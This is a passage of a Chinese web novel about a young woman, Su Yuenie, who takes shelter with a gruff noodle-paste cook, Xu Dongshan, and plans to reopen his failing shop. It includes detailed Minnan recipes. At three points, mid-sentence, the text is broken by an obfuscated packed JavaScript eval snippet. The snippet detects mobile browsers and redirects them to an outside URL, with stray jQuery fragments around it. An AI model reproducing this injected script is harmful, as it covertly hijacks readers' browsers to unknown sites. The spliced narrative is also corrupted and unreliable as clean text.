《月娘小吃铺（美食）》 1. 面线糊 “天黑黑，要落雨，海龙王，要娶妻。” “龟吹箫，鳖打鼓，火萤担灯来照路！”（1） 天边阴沉的浓云翻滚，细密的雨点从云层里被拧了下来，一眨眼的功夫便由小变大汇集成束。 雨束落得又急又凶，溅在路面上后复又弹起一截儿，生长在墙角的野草顿时被砸弯了腰。 急忙避雨的孩童捂着脑袋争先恐后地从街上冲入巷子里，噼里啪啦的雨声中混杂着大人们此起彼伏的叫唤和孩童们激动的笑声。 孩童归家，门户紧闭，人声消匿。 整个世界仿佛只剩下来势汹汹的雨。 坐在屋檐下张望的许东山懊丧地抬头看着被雨打湿的木牌。 那说方不圆的木牌挂在那儿风吹雨淋二十余年，棱棱角角早已磨平甚至出现了残缺，如今被雨水打湿，上头的“许氏面线糊”五个大字倒是清晰了起来。 许东山那张生得凶悍的俊脸流露出些许无奈与纠结，他揉了揉发酸的眼，终还是撑膝起身—— 不干了。 就让这从他阿公传给他老爹，再从他老爹传给他的生意到此为止吧。 许东山垂头丧气地走入光线昏暗的堂屋，合起两扇木门，年久失修的木门发出令人心生厌烦的“吱嘎”怪响。 当大门之间只余一拳宽的缝隙，许东山忽然瞥见雨中有一道顶着包袱狂奔的身影。 雨中那人愈跑愈近，最后竟然直接跑向了店铺—— “稍等一下——” 清亮的声音制止住许东山关门的动作，他重展两扇木门，向外走出，那人也一脚跨上两层阶跳上了孤塌处。（2） “店倒闭了，恕不招待。” 说罢，许东山抬眸看向面前的姑娘，最先入目的是一张长得水灵灵、眼大嘴小的花包脸，有几缕发丝因为被雨淋湿而狼狈地贴在脸上。 苏月娘看着眼前长了一副凶相且额角有一道刀疤的青年，心里头犯起了怵。 许东山见眼前的小姑娘面露不安，下意识撇过头，干巴巴道：“借你躲雨可以。” 苏月娘咽了咽口水，将不停滴水的包袱抱在身前，而后怯怯问：“你是春喜嫂的大哥吗？” 闻此，许东山又看向苏月娘，眼中带着些许疑惑。 许春喜是他亲妹妹，两个月前才嫁到十几里地外的浮桥。 许东山轻轻点了点头，只见苏月娘松了口气，小声道：“春喜嫂说你是个好人……让我来你这里住一段时间……等风头过了，我就走……” 许东山拧眉。 大概是怕许东山不同意，苏月娘连忙补充道：“我可以给你钱的！” 暴雨伴狂风，瓢泼的雨水顺着风向被吹向站在门前的两人。 许东山抹了一把面上的雨水，伸手将门推开些许：“先进来。” 风雨太大，被吹打得难受的苏月娘抱着包袱三步并两步跑入屋里避着，等到许东山将门合得仅剩一拳宽回过身，她才抱紧包袱朝着许东山道谢。 许东山摆摆手，目光落在苏月娘怀里那一直滴水的包袱——里面大概是没有能够更换的干爽衣裳。 “你顺着房巷去后面倒手边第一间屋子里找一身春喜的旧衣服换上，然后去灶边烤火。”许东山简单地为苏月娘指了去后头的路与厨房所在之处。 这才三月天，天气比起冬日虽稍暖，但却时不时地吹一吹冷风，淋了一身雨的苏月娘浑身发凉，再次道谢过后，便抱着湿哒哒的包袱朝着后面的巷去了后头。 …… 许春喜身量比苏月娘要高大一些，她的衣裳苏月娘穿着有些宽大。 宽大总比紧身好，这样也免得在一个陌生男人跟前行事不自在。 简单收拾一番后，苏月娘才离开了许春喜的屋子，照着原路朝厨房走去。 这会儿苏月娘才有心思打量这家面线糊店的布置。 用来招待客人的前堂摆放了若干套少说用了两代人的长桌与长椅，地面铺的是这儿裂一块那儿裂一块的红砖。 虽然这地方古朴破旧，但胜在干净整洁，若要是雨过天晴了，阳光照进来了，一定亮堂利落。 苏月娘朝着前堂角落里的厨房走去，许东山已经坐在灶边添柴加叶，见苏月娘过来，他放下烧火钳，将矮腿木板凳让给了苏月娘。 “坐，把这碗喝了。”许东山将搁在灶头的旧瓷碗往苏月娘那儿推了推。 在清新的干柴枯叶味与轻微的火烧味里，苏月娘闻见一股姜香。 她双手就着许东山包在碗边的湿布捧着瓷碗，小心地在矮木板凳上坐下，轻轻吹了吹姜汤上的热汽后才低头抿了一口。 灶膛里柴火正旺，燃烧的干柴与枯叶正噼里啪啦地响着，跳动的红火光如包被裹在苏月娘的身上。 苏月娘不安多日的心总算在温暖而又有些热闹的灶边安定下来。 许东山动作利落地就着刚烧温的水刷锅，他在等着她说句别的，但估摸着那碗姜汤得喝一大半了，她都没有说话，他才轻咳一声：“吃了吗？” 苏月娘愣了下，随后如实答道：“没有。” 为了赶路，她已经一整天没有正经吃过饭了。 “没有米面了，面线糊可以吗？” “都行，方便就好……”寄人篱下，能有口吃的就不错了，苏月娘可不会挑。 面线糊店最不缺的就是做面线糊的各种配料，许东山弯腰从灶边的柜里取出几样做面线糊的料。 往锅中倒入三大碗清水后，许东山抓了一把橘白相间的虾糠塞进纱布包中系紧，然后丢入清水锅中任其熬煮。 苏月娘咕嘟咕嘟喝完最后一口姜汤，老黄姜的威力不凡，她用力吸了好几大口气，才堪堪散去口中的辛辣味。 身子暖和起来，她也该做点力所能及的事情了。 正好许东山要撕巴浪鱼肉，她忙站起来：“许大哥，我来撕吧！” 许东山头都不抬，只手不停地撕着早先蒸好的巴浪鱼：“不用。” 苏月娘讪讪地收回手，站了一会儿后，她又问道：“那我把面线掰碎？” “已经掰过了。”面线糊配料简单，来去也就那三五样，许东山平日里生意不好，没事就坐在门头撕巴浪鱼捻面线，所以现下并没有什么需要苏月娘帮忙的：“你坐着就好。” 苏月娘见实在帮不上忙，只好坐回去继续烤火。 锅中的虾糠经半刻钟熬煮后，许东山掀开锅盖，虾糠汤带着轻微腥味的浓郁香气顿时随着翻滚的水汽飘了出来，许东山用漏勺捞起纱布包，接着依次放入巴浪鱼丝与猪骨高汤以及早几日就掰碎的细面线。 食材一经碰撞再由灶火一热，还没放调味佐料，杂糅在一起的香味便已经是万分诱人了。 苏月娘不禁咽了咽口水，还装着姜汤的肚子竟然在一刹那又变得空荡。 颇有岁数的深色大木勺在锅里来回翻腾几下后，许东山将之反扣在锅边，接着往面线汤中下入盐巴、胡椒粉、半圈当归酒以及一碗调和好的生粉水。 经过几番盛倒，锅中诱人的“面线汤”成了真正的面线糊，添上佐料的味道，已经一整日没怎么吃过东西的苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113848|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月娘被香味勾得险些流出口水。 不过闻着虽然香，但往锅里看去，还是一锅卖相单调的清糊。 “还剩了点昨天的料，大肠、醋肉、卤蛋有不吃的吗？”许东山手里抓着一碗剩料。 “我不挑！” 这一刻，苏月娘看许东山的眼神充满了感激。 虽然他长得一副凶悍样子，但心地却是和春喜嫂说的一样善良。 毕竟是剩料，总不能凉飕飕的就放碗里，许东山将料都剪成合适的大小，然后下入锅中加热。 估摸着料都差不多热了，许东山便取来一个大瓷碗，满满地盛了一碗，再抓一把方才切成得细碎的芫荽、葱、芹菜撒入碗中，最后放上一只长汤勺。 看苏月娘用簪子绾在脑后的头发半干，许东山便将碗送到了外头的桌上。 苏月娘忙抬脚跟了上去。 “吃吧，不够还有。” 不等苏月娘对他来一场真心实意感天动地的道谢，许东山便又回厨房去了。 苏月娘看着那碗热气腾腾且满满一碗料的面线糊，心里暖洋洋的，跟晒了太阳一般。 坐下之后，苏月娘握着勺子舀了一勺面线糊，简单吹了两口就往迫不及待地嘴里送。 毕竟是刚出锅的糊，要变凉可不是吹两口就能解决的，滚烫的第一口被着急地咽下，烫得苏月娘五官扭曲地捂着心口好半天直不起腰。 好半天过后，穿过食道上下的滚烫总算缓解了，苏月娘舒了口气，又舀一勺。 这回她老实了，几次用唇试了温度后才小心翼翼地入口。 温度正好的面线糊一入口，苏月娘的眼睛亮了起来。 她也是自小吃着好东西长大的，但除了她爹煮的面线糊外，可没谁的面线糊能煮出这等绝美的味道。 鱼虾的腥被料酒等几样佐料中和得只剩下一二分，当然，鱼虾的鲜味还完整保留着，与猪骨高汤、当归酒、胡椒的味道配得巧妙，细比发丝的面线碎飘在浓郁的汤水上，又簪一片芫荽葱花儿，喝一口清糊，身心俱暖。 若非要挑刺，大概也就是面线糊里的荤料是昨日剩下的，若是今日现做的，大概会更加完美。 不过瑕不掩瑜，这样一碗面线糊已经能够称得上是人间美味了。 许东山在厨房里东转转西转转，忙得实在没什么可忙的了，便坐在门边的矮板凳上往外偷望。 只瞧见外头的苏月娘跟对待什么珍宝一样小口喝着面线糊。 他看了两眼便收回了目光。 他瞧着灶膛里微弱的火光，将手伸到前头去取暖。 火光将他粗糙、还带着许多细小伤痕的手心照得清清楚楚。 他做的东西分明是不错的，怎么生意就是不如他爹和他爷爷掌勺时好呢？ 他想，若是以后有钱了，他一定还要重开这家店。 许东山坐在灶边发了许久的呆，直到苏月娘捧着空碗回到厨房。 热腾腾的面线糊下肚，苏月娘原先有些苍白的脸色此时已经恢复了红润，她现下神采奕奕的，不见半点方才自雨中而来的丧气模样。 许东山并不擅长与陌生姑娘相处，但待客之道他还是稍懂得一些的。 他站起身来，不看苏月娘一眼，“还能再盛一碗。” 苏月娘还愁许东山不说呢。 正当她就要眉开眼笑地去盛面线糊时，厨房角落的后门被从外拉开。 苏月娘尚未瞧见开门之人，就听见开门的人尖锐聒噪的嚷嚷声。 “前两天说的事你考虑清楚没有！” 2. 闽南炒米粉 在听到声响之后，许东山如临大敌一般从矮板凳上弹了起来。 紧接着，外面的人进来了。 那是个穿着鲜艳红褂子的女人，看样子得有四十往上了，那女人生得瘦削，眼窝与双颊凹陷，薄唇微张，露出向外翻张的大板牙。 看到厨房里站这个不认识的小姑娘，那个女人顿时瞪大眼睛，快步冲上前，凑在苏月娘面前狠狠打量。 苏月娘被盯得难受，只得稍转过头。 许东山见状，大步向前，扯着苏月娘的胳膊将她藏到身后。 许东山身形高大，将苏月娘完全遮得严严实实的。 “二婶，把我家租给你的事情过几天再谈。” 许东山的二婶李金花，见许东山一副护犊子的模样，狠啐了一口，“你这家店还得靠你去给人干苦工才能开下去，还不如把你这儿租给我，你这个穷光蛋还能攒点钱娶你后面这个女囝仔！” 此话一出，许东山便知道李金花是误会自己和苏月娘的关系了。 他蹙眉，“她只是我的远房表妹。” 苏月娘转了转眼珠子，从许东山身后探出脑袋，朝李金花扬眉笑道：“阿婶，我只是在阿山表哥这里小住几天！” 苏月娘笑得实在是亲切灿烂，她的笑容真诚得让原还想着往苏月娘身上找点茬的李金花顿时歇了找事的心思。 “你尽早那这里租给我还能多赚一点！不然到时候我反悔了，你后悔都来不及！” 李金花撂下“狠话”后便照着原路离开了。 后门被李金花甩上，苏月娘捧着碗从许东山身后走出。 她低头看看手里的碗，细眉蹙到了一块儿。 此刻，她内心很是不安。 许东山打算过段时间再谈租店的事情，莫不是因为自己？ —— 这场汹汹大雨断断续续地落到午夜才戛然而止。 没什么睡意的许东山在床上翻来覆去一整夜，还时不时发出阵阵低叹。 眼瞧着天也快亮了，许东山掀开被子，随手扯了一身洗得发白、补了又补的粗布衣衫换上。 临出门前，他猛然想起昨日家里还来了个借住的小姑娘。 再想起厨房里空空荡荡的米桶，许东山折身去了对门阿婆那儿敲门借了一碗米和几块地瓜干。 时候还早，尚不到日出时分，许东山只得摸着黑在厨房里淘米生火烧水。 他不知苏月娘什么时候会起，便只能估摸着放了几条足够将地瓜干粥煮好的木柴在灶里烧着，余下没煮完的一份粥米与地瓜干被他放在灶头，以便苏月娘能够看见。 料理好苏月娘的早饭，许东山喝了一大碗热腾腾的水饱腹，便匆匆离开了家。 …… 雨过天晴，初升的朝阳才自东边升起，苏月娘就穿着整齐地从屋里走出来。 见许东山的房门大喇喇地敞着，屋里只有收拾齐整的床铺而不见许东山的影子，苏月娘这才想起昨夜睡前许东山与她说今日若是天晴便会出去做工，傍晚才归。 苏月娘神情放松地抻了个懒腰，她深深吸了一口气，怎料钻入鼻子里的可不仅是雨后清新的空气，还有一股地瓜的香气。 这会儿，苏月娘的五脏庙像是被触发了机关一般咕咕作响。 虽不知这味道是不是别家飘来的，但是苏月娘还是摸着干瘪的肚子往堂屋的厨房走去。 果不其然，一路走去，地瓜的香气逐渐浓郁。 苏月娘欣喜地掀开锅盖，只见锅里有小半锅白粥，白粥上还有几条白灰色的地瓜干。 灶膛里的柴火正在慢燃，并无明火，锅中的地瓜干粥表面平静，微冒热汽，如此一来，苏月娘便不必再生火加热。 取了碗筷，盛上一大碗粥后，苏月娘大口喝了一口稀粥，随后舀起一块地瓜干作配。 白粥原是枯燥无味的，好在年前晒得发白的地瓜干条随着粥米一齐熬煮，浓缩的地瓜香与清甜被释放了出来，某种程度上算是弥补了喝粥没有咸口小菜的缺憾。 含混着地瓜清香的白粥与外软内扎实的香甜地瓜干堪称绝配，色香味占了后两者。 将锅中的粥吃尽，苏月娘摸了摸饱足的肚子，稍歇一会儿之后，便勤快地清洗锅碗、拾掇瓢盆。 …… 苏月娘初来乍到，白吃白喝总让她心里过意不去，思来想去，她决计为许东山做些力所能及的事情，譬如洒扫之类的活计。 今日天晴了，阳光由窗缝照入堂屋，堂屋亮堂堂的，几乎没有阴暗的角落，古朴的待客堂屋中重焕生机。 苏月娘打扫得很是起劲。 许东山家可不算小，即使后面的住房苏月娘不便入内打扫，可单单打扫堂屋、厨房和房巷也够她忙活一整个时辰了。 忙活完洒扫的事情，时候也还早，苏月娘百无聊赖地坐在堂屋窗下晒晒太阳。 前些时日一直在下雨，今日天晴见日，又能够平静地在此小歇一会儿，苏月娘有种恍若隔世的感觉。 阳光灿烂得刺眼，苏月娘眯眼，抬手遮了遮，透过指缝，她再度打量着堂屋。 她的眼前仿若出现了进进出出的食客和忙着往外端吃食的厨子…… 这般幻想，让苏月娘想起自家那被可恨大伯占去的小店。 她的心头涌上苦楚与酸涩，对于此事生出的无力感就如一只无形的手扼住她的脖颈，叫她喘不过气来。 苏月娘低头揉了揉发酸的眼睛，泪珠子尽数散在她的手指上。 若是家里的小店还在她手上就好了，那她也不必寄人篱下，还能有一份生计…… 想到这儿，苏月娘猛然抬起头。 这不是现成的吗？ —— 金乌西沉，春鸟归巢。 苏月娘谨慎地将大门开了一小条缝往外瞧。 在街上疯玩一日的孩童们都在大人们的驱赶下回家吃饭了，而许东山却还不见人影。 怕有人突然路过瞧见自己，苏月娘只张望几眼便关上门，回厨房备菜了。 昨日她赶来许东山家时，途径了一处有零星菜贩避雨的地方，今日再去，果不其然，那处就是菜贩子们平日里聚集的小市集。 想到许东山家里没了余粮，苏月娘便多买了些不易坏掉的回来放着。 …… 当许东山抱着一缸米与一块猪肉回来时，苏月娘听见声响，一边往围裙上擦手，一边前去迎接。 许东山干了一天的力气活，累得神情发蔫，他原就长了一副凶相，现下瞧着就更唬人了。 看着凶归看着凶，苏月娘却因他的收留和他留的粥认定他是个好人，心里并不怕他。 许东山并不习惯家里有个陌生的姑娘，苏月娘朝他跑来时，他只是匆匆扫了她一眼，便垂眸蹬掉脚上没将泥巴抖干净的布鞋。 苏月娘见他动作不便，主动搭把手将米缸与猪肉接了去。 “你在做什么？”许东山方才看见她身上穿着围裙。 苏月娘愣了一瞬，随后才反应过来许东山是在问厨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113849|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房里的事情。 她如实答道：“不知道许大哥你喜欢吃什么，就随便从街上买了点菜、肉、米粉，打算晚上炒点米粉吃。” 在许家，就没有让客人自己动手的规矩。 许东山，“你在外面呆着，我来。” 可在苏月娘那儿，更没有求人搭把手还不付出点行动的道理。 她灵巧地避开许东山来接米缸和猪肉的手，先他一步跑回了厨房。 她回头喊道：“你可别小瞧我！” 许东山不擅长和才认识不久的小姑娘打交道，便没有再去抢活干，只能一边不放心地回头看，一边往后头走去。 厨房里，灶膛里已经生起了烈火，稍等片刻，苏月娘俯身伸出手悬空于锅面上方试温度。 温度合适，倒入冷油、蒜仁、葱头碎、与小半碗切好的三层肉进行翻炒，不消多时，锅中噼里啪啦地跳跃着三层肉被煸炒出一汪澄黄色的油脂，整个厨房里已然浸泡在了醇香浓郁的猪油香味之中。 趁着锅中油正烈，苏月娘依次往烈油中下入香菇条、苏糕（1）、虾仁以及鱿鱼圈进行快速翻炒，直至闻见菜品的香味，这才用菜刀推着案板上的包菜片与红菜丝倒入锅中。 锅铲在有红有绿的配菜里来回翻腾几个来回，待包菜与红菜（2）被炒至断生，再往荤素中添加料酒、糖、酱油、盐巴之类的调料将炒米粉的配菜均匀调味，炒米粉的配菜便算是大功告成。 再接着，苏月娘舀了一满碗早先烧好的热水倒入菜中，并且取了三片厚实的湖头米粉（3）随意分成几块严严实实地盖在菜上来回翻拌。 最后，盖上锅盖，让米粉与菜一齐焖煮一段时间，直到米粉软化且入了味，淋上两勺葱头油、撒上一把葱花，炒米粉便能够出锅了。 …… 许东山冲完澡出来后，苏月娘已经做好了炒米粉与紫菜汤，摆好了碗筷。 苏月娘看许东山方才灰头土脸的模样，便知道他干的活不轻，于是，她给许东山安排了一个盛得满满当当的大海碗。 许东山自己是个厨子，虽然只做面线糊，却也擅长做其他的。 光闻味道，许东山就知道这炒米粉差不了。 现下时候已经不早了，饿得前胸贴后背的两人没有再寒暄别的，纷纷埋头吃起色香味俱全的炒米粉。 平日里许东山自己一个人过，加上不怎富裕，他便没有心思折腾炒米粉这种配料种类不少的吃食，更多的时候还是没卖完的面线糊或者是糙米粥配咸菜草草了事。 苏月娘炒的米粉放的油与肉不少，炒出来的米粉自然是香，长时间做粗重活的许东山稍开荤腥便吃得停不下来。 苏月娘一边小口扒拉着碗里的米粉，一边盯着许东山进食。 大抵是苏月娘的视线过于灼热，许东山咽下口中的米粉，抬起头，问道：“看我做什么？” 苏月娘冲他笑，“许大哥先吃！一会儿再说。” 听苏月娘这么说，许东山联想起方才苏月娘积极地下厨，一时间他竟然有些忐忑。 他有什么能和她说的？ 她的笑容太灿烂了，可不像是要和他说什么好事！ 许东山心不在焉地吃下最后半碗米粉，再就着碗喝了半碗紫菜汤，这才结束了晚饭。 苏月娘将空碗推到一边，慢条斯理地擦了嘴后才双手交握，目光炯炯地看向许东山。 许东山垂眸，“说吧。” “你的店不开的话，那能不能转给我开一家面线糊店？” 3. 炸醋肉 闻此，许东山蹙眉，瞧着像是不愿意。 苏月娘等了许久都没能等到许东山的回应，原先八成的信心，现在已然消减得半分不剩了。 良久之后，苏月娘讪讪地笑了声，“不愿意也没事，我出去租也是一样的……” 苏月娘的手艺不错，又一个人能炒这么一大锅米粉，想必也是练过的。 许东山没忍住问了一句，“你家里是做这行的？” “以前我家是开小吃店的！” 许东山蹙在一块儿的眉头慢慢舒展开来。 苏月娘见有戏，赶忙将自己的条件都抛出去，“当然我也不能让许大哥吃亏！许大哥开个价！能给我一定给！” 将店开个合适的价钱租给苏月娘总比低价租给二婶李金花来得划算。 不过他要和苏月娘做成这笔生意，得先将一些事情都交代清楚了，不然显得他跟骗钱的似的。 “我二婶的面线糊店就在隔壁，她生意不错，你把店开在这里，可能不太合适……” 许东山私心认为自己的小店生意不佳全因为二叔二婶看他爹病重干不动了，而开了家店抢生意。 苏月娘今日往外偷窥的时候，便知道隔壁许东山二婶家也开了家面线糊店，为此，她还特地站在厨房外的院子里闻了两口。 她敢打包票，隔壁的面线糊绝对不如许东山做的好吃。 至于许东山的店为什么没生意…… 苏月娘暂时想不出来，若是风水问题，大不了她多在土地公和关二爷面前多烧烧香，想必也能够化解一二。 “说不定我把她的生意都抢过来了呢？” 许东山无奈地揉了揉眉心。 做生意可不是一件容易的事情，采买食材、制作吃食、招待客人、算账都需要花费许多精力。 “你就先做一个月，看看情况怎么样，若是不行还能及时止损。” 苏月娘连连点头，“那许大哥愿意当厨子吗？我再额外出一份酬金！” “你自己一个人就够了。”许东山可不认为自家是什么能够招徕很多客人的旺铺。 苏月娘托着腮，手指有一下没一下地点着脸颊。 今早她仔细想过了，许东山这家店地段还算不错，不可能真一点生意都没有，若是经营妥当，指不定堂屋里这几套桌椅都不够用呢！ 与其后期匆匆忙忙地找人，不如一开始就配备齐全。 许东山对这家店很熟悉而且手艺不错，找他帮忙是最为妥当的。 她看许东山一副不信任自己能够将店铺做大做强的样子，圆眼眯了眯。 “不如我们来打个赌吧！就赌我的生意好不好！” 许东山只当她是小姑娘不懂事在说大话，他没回答，只是站起来收拾碗筷。 苏月娘，“如果我生意不好，那我给你十倍的酬金，如果我生意好，你就给我免了第一个月的租金！” 许东山端着碗筷去了厨房，“再说吧。” 苏月娘忙追了过去，“在这里做吃食总比去干力气活强吧？” 这话让许东山舀水的动作顿了顿。 是啊，在家里煮面线糊总比去外面顶着大太阳干力气活舒服，可是……这让他的心不安定。 “许大哥，你……” 苏月娘在他身边喋喋不休，他索性给她拧了一块干净的抹布。 “去把桌子擦了。” 见许东山还是油盐不进，苏月娘在心里头“哼”了一声，拎着那块抹布出去了。 许东山在厨房里洗碗，苏月娘在外头擦桌子。 两个人齐心协力把厨房拾掇干净，天也黑了。 许东山可不是舍得买油灯蜡烛的人，总是赶在天黑之前填饱肚子然后入睡。 收拾完厨房，许东山也就自顾自地往他屋里去了。 苏月娘回到她屋里，躺在铺了一层补丁褥子的木板床上苦思冥想。 她对许东山毫不了解，压根无法对症下药。 几番翻覆，苏月娘苦恼地抓了抓身下的补丁褥子…… 她猛地坐了起来。 是啊，许东山都穿着打了补丁、洗得发白的旧衣裳了，想必是缺钱的。 若是许东山能够在一开始就能够得到一笔能够让他暂时不愁生计的好处，或许许东山能愿意陪她试一个月。 豁然开朗的苏月娘连忙跳下床，从床底拉出她的包袱，并从包袱里的一件夹袄里翻出一个裁缝简易的小布包。 小布包被铜钱和碎银塞得鼓鼓囊囊的，苏月娘从里面挑了一小块碎银，她估摸着这块碎银能是最好的酒楼里大厨一个月的酬金。 她握着那块碎银打开房门跑到了对面去。 她不知许东山是否入睡，怕吵着许东山，她也不敲门，就趴在门上，小声喊道： “许大哥你睡了吗？” 还躺在床上胡思乱想的许东山听到苏月娘的声音，一把掀开刚捂热的被窝，下床去开门。 许东山个子高，他要看苏月娘便只能居高临下，低着头看。 虽然天黑，但他还是看清楚了苏月娘那双好似会说话的大眼睛。 苏月娘笑着伸出握着银子的手，缓缓展开。 许东山疑惑地看着她手心的东西。 “这是……” “一个月，就一个月……”苏月娘真诚地将手往许东山那边又伸了几分。 许东山认出那是一块小碎银。 这可真是莫大的诚意啊…… 许东山垂眸，“好。” 苏月娘空着的那只手去拉许东山的手，想将碎银塞给他，可许东山却将手背在身后，苏月娘如何努力都无法将他的手拉出来。 “这是我的一点心意，许大哥就收下吧！” 许东山依旧不收，他往后退了一步，“去睡吧。” 说罢，他将房门关上了。 苏月娘满面是笑。 不要就不要，她还省了一笔呢！ 离开前，她还对着房门大喊道：“许大哥，你真是个好人！” 已经躺在被窝里的许东山不禁扬起嘴角。 —— 既然要开店，那么店面就得按照苏月娘的意思重新捯饬一番。 初来乍到的苏月娘人生地不熟的，于是许东山今日没去干活，就留在家里，随时准备给苏月娘搭把手。 许东山在厨房里煮面线糊时，苏月娘兴致勃勃地跑入厨房，坐在矮板凳上等着面线糊出锅。 “我都想好了，我的店就叫‘月娘面线糊’！” 正在锅里倒碎面线的许东山简单地应了一声。 “一会儿你陪我去找个木匠订个招牌吧！” “好。” 许东山一边给面线糊调味，一边问道：“怎么会想卖面线糊？为什么不卖其他的？” “我爹是卖面线糊发家的呀！而且面线糊三餐都能吃，卖这个指定不会出错！” 到此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113850|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，许东山没再深问，生怕问到什么不该问的。 …… 许东山也算木匠的老主顾了，见是许东山介绍过来的生意，木匠主动给了苏月娘一个优惠的价格。 不过木匠大字不识，要招牌好看，还需要找个会写字的帮忙题字。 好在许东山作为当地人，认识的人也多，由他牵线了一个教书的老秀才来提字，招牌的事情这才解决。 从木匠家回来，竟也快到饭点了。 苏月娘钻到厨房里逛了一圈，翻翻捡捡，找出一块昨日许东山买的梅花肉和几样昨日没煮完的菜。 许东山紧接着跟了进来，取下挂在门边的围裙系在身上，“中午想吃什么？” “喝粥吧！炸点醋肉、炒两个菜作配就差不多了吧？” “好。” 厨房里有三口锅，两大一小，大的煮粥，小的一口炸醋肉，一口炒菜。 苏月娘支使许东山去炸醋肉，其余的她来做便是。 将梅花肉清洗干净之后，许东山提着肉放到案板上，解开上头绑着的草绳，再用切肉的利刀将梅花肉改刀为条状。 肉条放入腌盆后，许东山临时拍了四五房蒜，并将蒜蓉切成细幼的蒜蓉。 蒜蓉、少许盐、一大勺白糖、一颗鸡蛋、适量料酒、胡椒粉、酱油、永春老醋（1）下入肉条中，抓拌均匀，再淋上一勺花生油腌制一到两刻钟。（2） 腌好醋肉，许东山清洗了手，将苏月娘放置在水池边的菜仔细淘洗了一遍并一一择好。 等苏月娘将粥米和水下入锅中、生好了炒菜锅下的柴火，醋肉也腌制得差不多了。 许东山从壁橱里取下一罐地瓜粉，舀了两大盛粥勺的地瓜粉撒在肉上。 这罐地瓜粉是未经研磨的粗地瓜粉，若是用筷子简单搅拌，粉中的粗块难以化解，届时下锅炸，定然会影响口感，是以最好的方式还是用手反复翻搅，直到地瓜粉块被碾碎并成为微干的湿浆质均匀挂在肉上。 这便是醋肉口感酥脆的关键所在。 在苏月娘的配合下，肉一挂好浆，炸锅里的油也六七成热了，许东山端着腌肉盆走到灶台边，用手揪着肉条顺着锅边滑入。 一大盆醋肉，正好能够浸泡在热油的八分位置。 等锅里的醋肉被炸出金黄的酥皮，许东山用漏勺在锅中来回推了几下，待酥皮表面出现酱油色，便用漏勺捞出，架在锅边，待油温再次升高，下锅复炸，漏勺拨弄十个来回，被完全炸出酱油色的醋肉便可以起锅了。 苏月娘那儿动作快，许东山给醋肉装盘时，她往外端了两盘菜和两碗热腾腾的粥。 许东山将醋肉放在了苏月娘的面前，苏月娘抓了筷子，迫不及待地夹了一块用力吹凉，而后塞进口中。 一口咬下去，能听见醋肉外的酥皮的一声脆响，随后鲜嫩的肉爆出味道丰富的汁水。 醋肉醋肉，虽名醋却不全是酸味，酸味仅占一小部分，更多的还是甜味。 外酥脆，内鲜嫩，酸甜味道混杂蒜香，多汁却不油腻，无论是干吃还是淹入粥与面线糊，都是极为合适的。 “有人爱吃瘦的，有人却爱吃肥一点的，等我们的店开起来了，可以炸梅花肉五花肉两种醋肉。”苏月娘又夹了一块，来回看了一遭，“到时候醋肉还是得切成大薄片，这样剪成小片的，看起来分量多。” 许东山扫了那盆醋肉一眼，心里头觉得苏月娘还是颇有做头家（3）的头脑。 4. 卤大肠 这段时日，苏月娘经常与许东山一齐外出采买，有些厝边（1）都好奇苏月娘的来历，更有甚者还直接询问苏月娘是不是要嫁给许东山。 对于此，二人统一口径——表兄妹，不成亲。 苏月娘每日出门，一来二去也和几个姑娘、嫂嫂的混熟了。 这些姑娘嫂嫂对于苏月娘来说可不仅是厝边，还可能是潜在的食客。 于是苏月娘有意无意地透露自己要在许东山家开一家面线糊店。 这些姑娘嫂嫂们忙说等开业了会去捧个场。 在三月二十六，木匠拉车送招牌过来的那日，那些娘子们还上赶着过来看热闹。 这招牌自然比不上外头那些茶楼酒楼的气派，但是表面上刷了一层棕色的木漆，阴刻凹陷下去的“月娘面线糊”五个飘逸大字用黑漆描了几回。 牌面横竖平直，无任何一根碍眼的毛刺，再装上一圈深一色的刻花边饰，这招牌放置于平民市井中也算是数一数二的。 “苏头家，今天就把招牌挂上吗！”虽然木匠给苏月娘开了个实惠的价格，但这张招牌还是让他挣了不少钱，帮着挂上招牌，不过是顺手的事儿。 “辛苦您了！许大哥你去搭把手吧！” 既然要挂苏月娘的招牌，那么原先“许氏面线糊”的招牌便要撤下来。 木匠识趣儿地站在一旁等着许东山动手。 许东山站在“许氏面线糊”的招牌前看了又看，古朴的招牌仿佛在天晴了这几日又晒旧了几分。 他叹了口气，还是伸手握住了“许氏面线糊”的招牌。 粗糙的手触碰被岁月打磨得有些光滑的木招牌，那块木招牌好似一霎变得千斤重，让强壮的许东山无法一下子将其取下来。 才刚赶过来看热闹的几个阿嬷凑在一起嘀咕着她们从嫁过来起对许氏面线糊的印象。 许东山从细碎的言语中，听见他阿公和他爹的名字。 